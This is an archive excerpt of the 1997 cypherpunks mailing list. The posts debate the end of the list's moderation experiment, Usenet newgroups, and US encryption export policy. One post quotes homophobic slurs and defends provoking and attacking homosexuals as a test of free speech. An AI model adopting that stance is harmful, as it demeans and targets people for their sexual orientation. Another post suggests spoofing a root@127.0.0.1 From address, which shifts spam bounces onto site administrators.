>>	your expected mail volume is 100,000+ messages a day?
>>
>>	i run lists that do 200,000+ routinely.
>>	recent peak of 350,000 messages
>>
>>	does that meet your needs?
>
>Great.
>
>Let's run cypherpunks with a government subsidy.
>
>;-).
>
>Pulling your leg, just a bit..
>
>Cheers,
>Bob Hettinga
>
>"So much for a geodesic monitary system..."
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"Never attribute to conspiracy what can be
>explained by stupidity." -- Jerry Pournelle
>The e$ Home Page: http://www.shipwright.com/rah/
>FC97: Anguilla, anyone? http://www.ai/fc97/
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 14 Feb 1997 08:02:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
In-Reply-To: <199702141456.GAA07230@toad.com>
Message-ID: <Pine.GSO.3.95.970214105803.12370B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 14 Feb 1997, Jim Choate wrote:

> I am taking intellectual property rights from nobody. If anything I am
> giving unlimited intellectual rights to the material to humankind for
> posterity. Sorta cypherpunkish, don't you think?

I am amused by this. Jim's plan sounds much less cypherpunkish than
collectivist. Communal property, ho!

After all, workers have nothing to lose in this revolution but their
chains. They have a world to gain. Workers of the world, unite! 

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 14 Feb 1997 08:02:05 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702140618.WAA23553@toad.com>
Message-ID: <Pine.SUN.3.95.970214110421.15865M-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


Just for the record.  I will not post to USENET given the spamming that
seems to go to IDs that appear there.  

If any of you reading this are interested in law&crypto topics, please
bookmark my homepage, and vist every so often.

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 10:59:37 -0800 (PST)
To: Martin Minow <cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <v03007802af2a661fc9b1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM -0800 2/14/97, Martin Minow wrote:

>What bothers me more than anything else about the "solutions" I've
>seen proposed to the death of Cypherpunks is that they rely on
>technology -- and reject human judgement -- to solve what is, in
>reality, a social problem.  (One can certainly make the same argument
>about the V-chip, browser porn filters, and similar hacks.)

Au contraire, Martin! Many of my posts have _explicitly_ pointed to the
human filtering services offered by Eric Blossom, Ray Arachelian, and
perhaps others. Arranging to have others edit or filter the information
flow is a fine and dandy thing, and it's a very "anarchist" thing to do.

The "anarchy" of the restaurant business, the book business, and so many
other markets and sectors, where end-users are forced to look for filtering
mechanisms (such as restaurant reviews, advice of their friends,
advertisements, etc.) works pretty well.

And, I believe, the Cypherpunks list was doing pretty well before the
Moderation thing happened. The noise from the 'bots was no worse than the
noise of 2-3 years ago from Detweiler. The claims that "the list has become
unusable" were bogus, in my opinion.

(Hence the claims that "you Cyherpunks only complain" are also bogus. I for
one was not complaining and demanding that John and Sandy "do something" to
"fix" the list. I accepted the nonsense spouted about me and John and
others as just part of the chaos expected in any forum. I just filtered and
deleted such nonsense.)

It is true that some signal producers have either moved on to other
things--in many cases to crypto-related companies directly or indirectly
spawned by the Cypherpunks list and contacts!--or are not writing as many
basic essays as they once did. Such is to be expected. People get tired of
writing explanatory articles, and handling newbies.

The key to improving signal is to increase the amount of signal, not to
just suppress noise so as to make the S/N ratio look better. I can easily
hit the "delete" key to remove noise, but I can't hit the "create" key to
increase signal.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 03:26:23 -0800 (PST)
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: alt.cypherpunks
Message-ID: <855918957.105158.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I haven't seen any rmgroups for alt.cypherpunks.  Paul Bradley's
> newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos'
> newgroup made it onto the Net, and was reposted the next day by 
> usenet@news.myriad.ml.org.

My local server (news.demon.co.uk) recognised my newgroup for 
alt.cypherpunks and it was immediately visible, I don`t know how far 
it propogated or where Mikes took effect but whatever the 
distribution we seem to have reached most main news servers.
 
>         alt.cypherpunks.announce
>         alt.cypherpunks.social
>         alt.cypherpunks.technical
> 
> and, of course...
> 
>         alt.fan.paul.bradley

What else?

> The latter has been rmgrouped because it was not discussed in 
> alt.config. 

No, It was rmgrouped because the cmsg had no charter, I posted this 
to see if the Cabal would respond.
 
> I might suggest that deliberately tweeking the whiskers of the Cabal by
> gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. 

Quite so, I recieved mail the next day from a member of said clique 
telling me he "considered rmgrouping alt.cypherpunks.announce" 
because it was unmoderated. Needless to say he got a stern talking to 
for that one ;-) I guess I just have to much of a partiality for a 
little whisker tweeking ;-)




> 
> --
> Eric Michael Cordian 0+
> O:.T:.O:. Mathematical Munitions Division
> "Do What Thou Wilt Shall Be The Whole Of The Law"
> 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 03:28:24 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: alt.cypherpunks
Message-ID: <855918957.105161.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> > For example, it hasn't received any messages on my news server,
> > probably because the one upstream removed it. 
> 
> Seems I'm getting alt.cypherpunks.announce (empty), but not
> alt.cypherpunks or any of the others that show up as newgroup'ed on
> Deja News...  Are they alive and well elsewhere? 

All of the groups have showed up at news.demon.co.uk (not suprisingly 
since I grouped them) and I haven`t seen any cancels. I was sent a 
message by some net.scum about him nearly rmgrouping 
alt.cypherpunks.announce because it was unmoderated but he got a 
stern "cypherpunk" talking to for that ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@FRB.GOV>
Date: Fri, 14 Feb 1997 09:31:57 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Cypherpunks Distributed Remailer (fwd)
In-Reply-To: <01IFDBB5MRH09ANACB@mbcl.rutgers.edu>
Message-ID: <199702141619.LAA28332@kryten.frb.gov>
MIME-Version: 1.0
Content-Type: text/plain


>	Well, if you can't deliver mail because their mailbox is full, then
>you should simply wait a few days before trying to deliver mail to that
>address. If it's because the address isn't there any more, you should delete
>it from the subscription lists. Otherwise, the instant people's mail quotas
>overflow (e.g., they're on AOL and they haven't been able to get through the
>clogged lines), they get bounced... or you're left with a lot of invalid
>addresses. The address causing the bounce is not necessarily determinable
>automatically from the bounce message; if it isn't, then you need to keep a
>copy around for a human to look at.

	who should bear the burden of dealing with bounces?
	the list admin or the owner of the bouncing address?

	if you have the time and desire, you can accomodate people
that bounce mail due to a temporarily full mailbox.

	if not, unsubscribe them after N bounces in a 24 hour period.  
it becomes their responsibility not to bounce more than N emails.

	when a list has 1000's of subscribers, i have not have been able
to provide the type of personal service that the first option entails. 
i do make a digest version of every list available.  if the digest bounces,
the bouncer??? bouncee?? stays below the N bounces threshhold 
(for many values of N :).

jmb






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Thu, 13 Feb 1997 22:24:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <3304C236.6662@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:

thanx for ur answer but then i have another question.

1) is it illegal to develop an encryption tool (s/w) outside the US
which uses > 40 bit size session keys and then import that s/w inside of
the US.

anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Feb 1997 09:29:48 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <1.5.4.32.19970214172339.00707910@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for forwarding the USACM analysis. We've put it at:

   http://jya.com/usacm.htm

We'd welcome those submitted by cypherpunks or others, for 
putting on jya.com.

It will be some time before BXA publishes them along with the
Final Rule, and, there's worldwide interest in the US's 
foot-shooting.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 12:29:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142029.MAA01055@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Ok. I'll "put up". 

If the cypherpunks will have me, -I'll- run the cypherpunks
list. Those that know me know that I will *not* censor, moderate, or
otherwise alter the content (other than the stuff majordomo does with
"resend") of any messages to the list.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

    Advice is priceless; when it becomes interference it is preposterous.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 12:36:08 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142035.MAA01111@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> If you want to fight censorship effectively, going around telling
> people "You're a shit-eating faggot you fucking cock-sucking homo
> censor" in public forums is not going to win you many points.

On the contrary. 

John Grubor is Usenet's most effective probe as to the mindset of
people who really want free speech. The precise litmus test of
free speech is vehemently offensive things that are spoken.

> Instead, it will quickly land you in many people's killfiles, and will
> eventually lead some people with bad client software to wonder if it
> wouldn't be worth giving up some freedom of speech for the benefit of
> not having to see your rants any more.

Then they don't want free speech. They want the illusion of free
speech, "free speech as long as you don't say THOSE things". 

> Unfortunately, it sort of makes life harder for those who actually
> fight the censorship when you pretend to be one of them.  Your
> argument seems to run something like, "To protect freedom of speech,
> bad all faggots from the net, and especially don't let them run any
> mailing lists."  If this offensive and highly noticeable argument
> eclipses many of the important, fundamental ones as the censors would
> like it too (why do you think your articles make it to cypherpunks-
> flames while mine only get as far as -unedited), you will end up not
> only inducing censorship but also seriously hampering the efforts of
> those who are legitimately fighting that censorship.

Don't you get it? Real censorship issues do not arise until someone
rocks the boat. It takes someone to rock the boat to make you aware
of your own prejudices of that nature. If it takes attacking
homosexuals and pissing them off enough to make them show their
true colors and begin censorship...so be it. Why be civil when that
civility serves to hide that which is ultimately against free speech?

You'll find those of us who -truly- want free speech are extremely
good at ignoring what we don't like.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Don't teach the blind until you have practiced living with closed eyes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 14 Feb 1997 12:57:30 -0800 (PST)
To: Tim May <tcmay@got.net>
Subject: Re: Keep it Simple and the Cypherpunk Way
In-Reply-To: <199702131958.LAA09879@toad.com>
Message-ID: <199702142057.MAA06000@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



what TCM continues to stick his head in the sand over
is the fact that the list noise levels have gotten outlandishly
out of control over recent times, far beyond anything in memory. 
what is it due to? 

it appears that there is a basic law of cyberspace that S/N decreases 
as you add more people. it seems to be a very obvious and repeatable
property.

there are some significant lessons about cryptoanarchy that are
completely evading TCM. how well does anarchy scale? apparently, not
well. TCM would like to pretend that just deleting posts and having
outsider filterers is a "solution" to the problem and argues for
business as usual, upholding the status quo.

the problem is that when you have a deteriorating situation, the
status quo is not a valid concept. keeping the status quo means
further deterioration.

TCM also fails to address the problem of AGENT PROVOCATEURS. the
cyberspace list is intensely fragile and susceptible/ vulnerable
to them as Vulis demonstrates. it only takes ONE and a lot of 
tentacles. does TCM propose a solution to this? no, of course not,
because he has a blind spot when it comes to realizing the
PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face.

if cpunks had a formal way of making decisions, and some loyalty
to each other, instead of BAILING OUT at the slightest difficulty,
perhaps the situation would be different, eh? see how quickly people
who were once friends simply WALK OUT on each other in the cryptoanarchist
approach? where is the loyalty? the sense of working for the greater
good? it's gone. TCM simply ABANDONS the list at the first opportunity,
and ignores the years of hard work that J.G. has put into it.

timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
the logical conclusion of your views playing out before you.
acrimony, bitterness, resignation, chaos, confusion, cacaphony,
anarchy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Date: Fri, 14 Feb 1997 10:13:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Pine.A32.3.91.970214131327.41294A-100000@gnu.uvm.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Is it legal or illegal to send a 
PGP encrypted message from the US to someone in another country?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMwSrJdaX0pKkbeJ9AQG1ogQAloERqECRmAgHAOPq1LwTrWXMw9/E2c0C
Q8TqlVuc6pmW+L+DmTrMb0eZdSTJ00A4Fa4j1390UJEncA1X+zHMNMY9CmUJgDKZ
ROWNiD8tHiIQYJBH2400WYxKsFPb2mX31SJFc4gK0hQtturtzNXWjOGtowqes6MU
kp3/vpeFXZ4=
=pLXe
-----END PGP SIGNATURE-----


*********************************
Scott A. Hommel
President,
New Paradigm Design, Inc.

PGP key available at:
http://paradigm-2.com/scott.html

*********************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 13:06:09 -0800 (PST)
To: Vin McLellan <cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142007.PAA16030@relay1.shore.net>
Message-ID: <v03007805af2a81a440c4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:07 PM -0500 2/14/97, Vin McLellan wrote:

>        My understanding of Sandy's effort, for instance, was that he was to
>filter out the sludge of spam and contentless name-calling with which some
>idiots were flooding the list.  My impression was that he was passing along
>any posts with content (ideas, pro or con, on almost anything) but filtering
>out the empty obscene name-calling and slurs (many of which seemed anon or
>forged, with varied and misleading titles, to duck my kill-file filters.)

Well, Vin, your understanding was flawed. Many thoughtful, "non-sludge"
posts were filtered out. Some never made it to either the "main" list nor
the "flames" list, as all posts were supposed to do.

(John Gilmore acknowledged this in his message. Anyone subscribing to only
the Flames list, as I was for a while, would see some posts not making it
to the Main list (viewable via the archive sites) nor to the Flames list.)

Even my very long and thoughtful (I think, and others have said as much)
essay on why I had been off the list for several weeks was _almost_
censored by Sandy, by his own words. Because he disliked some turn of
phrase I used in describing the ramblings of Toto, Dale Thorn, and Vulis,
he said he almost killed the entire piece, ultimately letting it through as
a "judgment call."

This is what I call a "chilling effect." Never knowing whether one's essays
will pass muster with the Chief Censor is not exactly a reason to spend a
lot of time composing a long piece.

And was my article the kind of "sludge of spam" and "countless
name-calling" you thought the Moderation experiment was all about?

And what of the four or five of my posts a week ago which never made it to
either the Main list or the Flames list? The contained no "sludge of spam"
nor "countless name-calling." What they dealt with was a claim (like this
one) that some posts were not being passed on to either of the two lists,
and that perhaps a conflict of interest was developing.

Does this still match your "understanding of Sandy's effort"?

By the way, I can forward to those who are interested these four or five
posts which got "Meta-Censored." (Unless too many people request
them...I'll promise to forward them to the first five people who request
them...then some of you can repost them to the list and see if they make it
through.)



>        By the logic of Tim and others, a clever and dedicated crusade
>against Cypherpunks by any minimally-organized group, bir or small -- your
>local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
>destroyed the List at any time in the past.  I'm glad they never realized
>how vulnerable we were;  I've enjoyed this Community greatly  in its current
>manifestation.

The list was not destroyed when S. Boxx/Pablo
Escobar/anon12054/Detweiler/vznuri was blasting us with dozens of messages
a day screaming that "tentacles were eating his brain" and that Cypherpunks
were out to destroy him. Believe me, for those who were there, that was a
topic of much greater daily discussion than the   insult-a-day stuff is
today.

(And yet, because journalists now frequent the CP list in greater numbers
than 2-3 years ago, at least two journalists are sniffing around for a
story on the current situation, where essentially none were very interested
in the Detweiler episode a couple of years ago, which was good. I recall
John Markoff asking me about it at Hackers, in 1993, but he didn't see it
as an especially significant story. I agree with this.)

>         I also hate to think of how gleeful the sociopaths who mail-bombed
>us into the choice of submission or suicide must be today.  I think it is a
>particularly henious crime to destroy a virtual community; something akin to
>book-burning, but maybe more like arson -- like burning village schools.
>
>    There was a willful attempt to destroy C'punks, an attack of depth and
>volume which led many of us (even those who had ignored at least three
>earlier efforts to offer filtered subsets to the List)  to welcome the
>Moderation Experiment. Unfortunately, the attempt at moderation just twisted
>our own energies against ourselves.  We were, perhaps predictably, quite
>easy to manipulate.

On this I agree with Vin. The "censorship" episodes were the predictable
outcome of such attacks, and this "psy-ops" experiment is a victory by
whoever it was who was attacking. Detweiler failed to get the list to start
censorship and "limitations of anarchic freedoms," but the current attacker
has succeeded.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 13:21:12 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142120.NAA01318@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


> Dave Hayes wrote:
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> Not all of you freedom-knights are good at it at all.

The "us" I mentioned did not refer to the freedom knights, but "those
of us who -truly- want free speech"...a slight english parsing
problem. The freedom knights are a subset of those who want free
speech.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

It is our ability to act as ourselves, freely and of our own choosing,
that is the greatest gift to mankind; my Creator, the sole being in the
universe who legitimately had power over me, gave me that power freely
in order to enable me to become what I am.                  -- Russ Allbery







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Fri, 14 Feb 1997 13:24:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks afraid of spam?
In-Reply-To: <199702141611.IAA09328@toad.com>
Message-ID: <l03010d00af2a675dff72@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


[Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
him personally, just his (distressingly common) attitude]

>Just for the record.  I will not post to USENET given the spamming that
>seems to go to IDs that appear there.

[chuckle]

Just add an anti-spam segment to your email address.

example:

jsmith[at]foo.com

Most people worth talking to have enough of a clue to replace [at] with @.

if your software requires an apparently valid email address, try

jsmith@NOSPAM.foo.com

I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
in the from: header. Sure, somebody out there is going to be unhappy with
me, but if they have a clue they'll figure it out. Meantime, the SpamBots
are bouncing mail to the admin of the site instead of to me.

That may not be enough if you're already in the spamming lists. Try
using 'positive' filtering- instead of filtering to eliminate unwanted
mail, filter email from regular correspondents into a 'approved'
directory, and leave the rest in the inbox to pick through later.

It seems very strange that the denziens of this list, reputed to be gutsy
enough to take on the FBI, NSA, CIA, and White House, would be scared
away from a discussion forum (Usenet) by uninvited email.

We'd better hope they never figure out Cypherpunks, Guardians of
Privacy and Defenders of Free Speech, are afraid of spam.

(And supposedly the 'Moderation experiment' is over, so this won't get
kicked onto the -flames list, although it's more ridicule than flame...)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 10:51:40 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
In-Reply-To: <m0vuw3H-000JGWC@cognac.apana.org.au>
Message-ID: <0n1==E200YUf0=T0s0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Toto <toto@sk.sympatico.ca> reminds me while I've killfiled him:
>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Yup. You're begging resources, deal with it. We didn't kiss John
Gillmore's ass, and he decided that he was tired of the shit and
stopped letting us squat on his land. If we were paying him for the
use of toad, he maybe wouldn't have the right to yank it so suddenly,
but we weren't, so it's his call. Same with usenet. The "cabal" has
high reputation capital. News admins the world over trust them. One
might say that they deserve the respect they get, but that is
immaterial to the discussion. the fact is that people who donate
resources to usenet trust the cabal.

Unless you have a contractual relationship, you're begging, and you
have to convince your benefactors to give you stuff. If you have a
different model for a world economy, feel free to post it. 

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

PS. Of course, the cabal didn't rmgroup alt.cypherpunks, thus showing
that they do have some good sence yet.
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Kj6VnQibFnCKb2BTkQfkqYCpdKIUhvLL
=dkhj
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 11:08:19 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702140921.JAA00328@server.test.net>
Message-ID: <0n1=SV200YUf0=T7E0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Adam Back <aba@dcs.ex.ac.uk> writes:
<snip declan's rather well-balanced article>
> What does `crusty' mean as applied to a former Intel engineer?

Try definition 2

Word         crusty (KRUHS'tee)  adj.
Definition   --adj. -ier, -iest.  1. Like or having a crust.  2. Surly
             or brusk.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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kE30sVsW4juawhXGRIAWJ/5Ce9lBLPdp
=bB+u
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Feb 1997 11:13:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Industry Blasts U.S. Encryption Policy
Message-ID: <1.5.4.32.19970214190701.00706eb4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-14-97. National Business Review, NZ (http://www.nbr.co.nz/):

USA: Industry Groups Blast U.S. Encryption Policy.

Washington, Feb 13 (Reuter) - An array of private-sector trade groups 
charged Thursday the Clinton administration's new export policy on 
computer encoding technology was a failure. 

Encryption products, which scramble information and render it unreadable 
without a password or software "key," are subject to strict export 
limits, although the administration recently relaxed the rules a bit. 

The new policy "does not adequately address the needs of either the 
American business community or the general public," the 13 groups said 
in a letter to Clinton dated Wednesday and released Thursday. 

Among the groups signing the letter were the U.S. Chamber of Commerce, 
the National Association of Manufacturers and the National Retail 
Federation, along with a host of high-tech industry groups such as the
Business Software Alliance and the Information Technology Association of 
America. 

The Centre for Democracy and Technology, an advocacy group for civil 
liberties in cyberspace, and the Association of Research Libraries also 
signed the letter. 

An administration spokeswoman said that, despite the complaints, the 
current policy would be maintained. 

"The administration is moving ahead with our encryption export 
liberalisation policy," spokeswoman Heidi Kukis said. The policy balances 
diverse interests by "allowing us to develop exports while protecting our 
national security," she said. 

The administration has repeatedly said it opposes allowing unfettered 
powerful encryption programmes out of the country where they could be 
used by international criminals and terrorists. 

Under current policy, U.S. companies cannot export products containing 
so-called strong encryption, used to protect everything from a business' 
electronic mail to a consumer's credit card number sent over the Internet,
unless the products also allow the government to crack the code by 
recovering the software keys. 

Companies can get a license to export medium-strength encryption lacking 
so-called key recovery features if the companies agree to incorporate 
key recovery in future products within two years. 

The Commerce Department has issued three licenses so far under the 
two-year provision. Digital Equipment Corp., Trusted Information Systems 
Inc., and Cylink Corp. won approval by promising to offer key recovery
products by 1999. 

International Business Machines Corp. and Hewlett Packard Co. have said 
they are also seeking licenses. 

But companies and privacy advocates rejected the administration's key 
recovery-based approach. 

"It fails to accommodate the competitiveness concerns of sellers of 
encryption products, the security concerns of the buyers of such products, 
or important privacy rights," the groups said in their letter. 

"We believe a fundamental rethinking of this policy is necessary," they 
added. "We remain interested in working with you to achieve a constructive 
solution to this very difficult problem." 

Congress is already considering proposals to dramatically relax the export 
restrictions without requiring key recovery. 

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 13:07:09 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Private property & the cypherpunks list(s) (fwd)
In-Reply-To: <199702141456.GAA07230@toad.com>
Message-ID: <199702142210.OAA21977@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > Date: Thu, 13 Feb 1997 02:08:21 -0800
> > From: Greg Broiles <gbroiles@netbox.com>
> > Subject: Private property & the cypherpunks list(s)
> 
[...]
> 
> What I really find interesting is that in the 3 years SSZ has been up and
> the 8 mailing lists (with about 300 subscribers total) nobody has ever
> complained about the public domain policy and nobody has ever put a
> copyright header on their messages. All these lists are technical and
> several of them are directly involved with technical development of
> projects, some for commercial apps.
> 
> 
>                                                 Jim Choate
>                                                 CyberTects
>                                                 ravage@ssz.com
> 
> 

Jim, if I put "Copyright (c) 1997 by Kent Crispin.  All Rights 
Reserved." in my .sig, would that constitute a "fair-use header"?

In general, I rather like your policy.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Omegaman" <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 12:15:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congressional subcommittee hearings on computer security
Message-ID: <199702142014.OAA58406@tetsuo.communique.net>
MIME-Version: 1.0
Content-Type: text/plain


                Computer crimes rife,
                unreported 
                By Reuters
                February 13, 1997, 9:45 a.m. PT 

                WASHINGTON--Security experts say hackers
                are finding it easier to break into computer
                networks and steal money, partly because
                companies are reluctant to admit that they are
                vulnerable. 

                "If I want to steal money, a computer is a much
                better tool than a handgun," Daniel Geer, director of
                engineering for Open Market, told a House of
                Representatives technology subcommittee hearing on
                computer security. "


Has anyone been following this debate more closely?  Nothing in any 
of the articles I've seen on this story have mentioned the role of 
strong encryption.

<rhetorical question mode on>
Why can't banks better protect themselves?  Why can't banks better 
authenticate electronic transactions to prevent theft & break-ins?  
Why is the such a dearth of protective measures available to the 
institutions?

The public has a right to know!
<rhetorical question mode off>

Seriously, though, has anyone been following these hearings in more 
detail?

me

---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
